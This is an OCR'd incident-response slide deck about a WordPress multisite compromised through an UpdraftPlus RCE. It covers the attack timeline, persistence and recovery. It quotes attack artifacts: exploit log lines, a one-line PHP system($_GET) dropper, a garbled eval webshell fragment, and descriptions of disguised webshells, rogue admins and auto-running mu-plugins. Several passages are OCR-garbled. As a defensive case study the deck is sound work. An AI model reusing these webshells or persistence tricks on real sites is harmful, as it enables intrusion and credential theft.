WP Zero-Click
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Incident Response Case Study
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—) Tlarget @ Attack Vector

eos ] e

. ] Domain hosted on AWS EC2 Exploitation of a CVE2026-10795
infrastructure (Amazon Linux 2), _—'I[k vulnerability in the UpdraftPlus
configured as a multi-site server. plugin (version 1.24.4), which

allowed unauthenticated Remote
Code Execution (RCE).

Q Impact t 2 Threat Actor

: ©Ip ,
Complete compromise of the web v Automated bot used in a mass
application, installation of exploitation campaign. No
keyloggers for credential theft, and interactive login (‘Man on the
SEO redirection (cloaking) to Keyboard') or lateral movement

gambling sites. detected at the OS level.
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Starting Point

AWS EC2 Server (Amazon Linux 2)
Apache User (Monolithic Architecture)

NO EDR

Centralized visibility and endpoint monitoring is not
present.

NO SOC

No active monitoring, SecOps is not within scope of
services offered by SORINT.

NO SEGMENTATION

All WP tenants are governed by a single Apache process,
no separation, possible threat spread.



/) SORINT:c

Incident Timeline
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Initial Access

45.61.184.21 - - [11/Jun/2026:19:33:43 +0200] "POST / HTTP/1.1" 200 811 "-" "python-requests/2.34.2"
45.61.184.21 - - [11/Jun/2026:19:33:45 +0200] "POST / HTTP/1.1" 200 1366 "-" "python-requests/2.34.2"

1- HTTP REQUESTS 2- BYPASS AUTH 3- RCE

The TA sends POST requests to Vulnerability in UDRPC (Updraft RPC commands to load a

the server via «python-
requests/2.34.2»

Central) leads to privileged malicious plugin

authentication bypass ) "
_ P ) "elite-optimizer.php"
# Payload UDRPC (Plugin Upload): “plugin.upload_plugin’
PHP dropper

RCE with Apache privileges

# Plugin Caricato ed Eseguito: elite-optimizer.php
45.61.184.21 - - [11/Jun/2026:19:33:46 +0200] "GET /wp-content/plugins/elite-optimizer/elite-optimizer.php?
z808=id HTTP/1.1" 200 68 "-" "python-requests/2.34.2"

# Codice PHP Dropper: Dropper minimale mascherato. L'attaccante ottiene il
<?php system($_GET['z868']); 7> <& [ controllo totale e Remote Code Execution (RCE)

# Risposta GET (68 byte): tramite privilegi Apache ricostruendo ed eseguendo
uid=48(apache) gid=48(apache) groups=48(apache) la stringa: “system($_GET['z808"])
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Sleeping Webshells

- Dozens of malicious PHP files disguised as "cleanhealth.php .

- ALFA TEaM Shell hidden inside a fake 'logo.jpg’ image (179 KB of encrypted code).

Rogue admin account on DB

- Directly create fake WP administrators (admin_lin, "lock’) via SQL queries.
- Removing infected files alone is not enough to block access.

Automatic Execution

- Droppers configured as "'mu-plugins” (e.g. .cache.php’) that auto-execute in the background on web requests,
reloading the malware on each visit.
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Monetiziation + Exfiltration
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No Interactive Intrusion



Lack of telemetry

This discovery was caused by a visual error in the
malware itself.

When accessing the control panel to investigate the
graphical anomaly, the developer noticed the
presence of unknown administrative users (e.g.,
“admin_lin "), immediately triggering an Incident
Response.

P P Rl S g R » ‘hd s - % Partirew ey 4
php eval($_POST['cmd'])); 7> system('id'); / /HACKED_BY_L
. aalireal admin_Llin sporcizia_visiva_error. log
- DR T e PR LT S 484 backdoor —
m‘% T g e o s e s _REQUEST['pass'],
iisting me 2=A4zp. gTB0JuKCBaV ™ oo  age '

sporcizia_visiva_system=86ND g adguholeSB8810Wb0udI2Mmz
TOHBJ3HF v6_Mig i Pdsiros e wenu @SS 3ileu hed: 6XE81BD8_cmit:z=']);
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Errore Visivo:

Codice Esposto




Network Isolation

Immediately shut down all inbound and outbound access to the compromised EC2 machine, instantly cutting off
exfiltration to the Command and Control (C2) servers.

Collecting Evidence

Differential forensic acquisition comparing the compromised snapshot (18/06) with the last clean snapshot (10/06).

Analyses

Diagnostic cross-referencing of Apache access logs (abnormal POST calls), MySQL log queries, and reconstruction of
executed RPC commands.



Strategic Rollback

The host and DB were restored from the June 10th healthy snapshot, saved by the 7-day retention policy.

Final Cleanup & Patching:

- Manually delete remaining rogue admins from the DB.
- Global password reset for WP, DB, and FTP accounts.
- Closing the attack vector by updating UpdraftPlus.
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Response — Phase 3

From Monolith to Micro-Segmentation

Compromising a single CMS now requires a complex “Docker Escape” vulnerability to compromise the underlying
operating system, or infect other websites.
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4 Key Takeaways
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